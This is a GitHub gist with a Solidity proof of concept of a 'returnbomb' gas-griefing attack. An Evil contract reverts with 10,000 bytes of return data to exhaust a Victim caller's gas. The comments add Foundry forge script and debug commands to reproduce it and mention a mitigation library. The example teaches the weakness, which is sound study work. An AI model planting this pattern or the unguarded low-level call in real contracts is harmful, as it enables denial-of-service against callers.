-
-
Save pcaversaccio/3b487a24922c839df22f925babd3c809 to your computer and use it in GitHub Desktop.
| // SPDX-License-Identifier: MIT | |
| pragma solidity 0.8.19; | |
| /** | |
| * @title Returnbomb attack example | |
| * @author pcaversaccio | |
| */ | |
| contract Evil { | |
| uint256 public counter; | |
| function startBomb() external returns (bytes memory) { | |
| ++counter; | |
| // solhint-disable-next-line no-inline-assembly | |
| assembly { | |
| revert(0, 10000) | |
| } | |
| } | |
| } | |
| contract Victim { | |
| function oops() public returns (bool, bytes memory) { | |
| Evil evil = new Evil(); | |
| /// @dev If you put 3396 gas, the subcall will revert with an OOG error. | |
| (bool success, bytes memory returnData) = | |
| // solhint-disable-next-line avoid-low-level-calls | |
| address(evil).call{gas: 3397}(abi.encodeWithSelector(evil.startBomb.selector)); | |
| return (success, returnData); | |
| } | |
| } |
Can't reproduce the issue with this code. ++counter on its own costs ~20k gas so 3397 is not enough. If you initialize counter = 1 it does work, but then 3396 doesn't cause OOG.
@frangio thanks for the feedback - I quickly checked it and I think I found your issue (I bumped the solc version to 0.8.19 in the contract fyi). You must run the PoC with the --via-ir flag.
Let me take you through the steps. First, run the following forge script using gas: 3397:
forge script --optimize --optimizer-runs 200 --use 0.8.19 --via-ir ReturnBombExample.sol --target-contract Victim --sig "oops()"This will return the following result:
Now, change to gas: 3396 and run the script again:
To analyse what happens exactly, use again gas: 3397 and run the following command:
forge debug --optimize --optimizer-runs 200 --use 0.8.19 --via-ir ReturnBombExample.sol --target-contract Victim --sig "oops()" --debugStepping through the operations, you will see the increase in memory from PC: 223 to PC: 224:
I hope this clarifies it.
@pcaversaccio seems it may be possible to avoid the return bomb using assembly? Something like this? - https://github.com/nomad-xyz/ExcessivelySafeCall/blob/main/src/ExcessivelySafeCall.sol
@pcaversaccio seems it may be possible to avoid the return bomb using assembly? Something like this? - https://github.com/nomad-xyz/ExcessivelySafeCall/blob/main/src/ExcessivelySafeCall.sol
Yup, that attack vector can be prevented if required by the use case.




If you use Foundry, you can run the debugger in one line:
forge debug --optimize --optimizer-runs 200 --use 0.8.19 --via-ir ReturnBombExample.sol --target-contract Victim --sig "oops()" --debug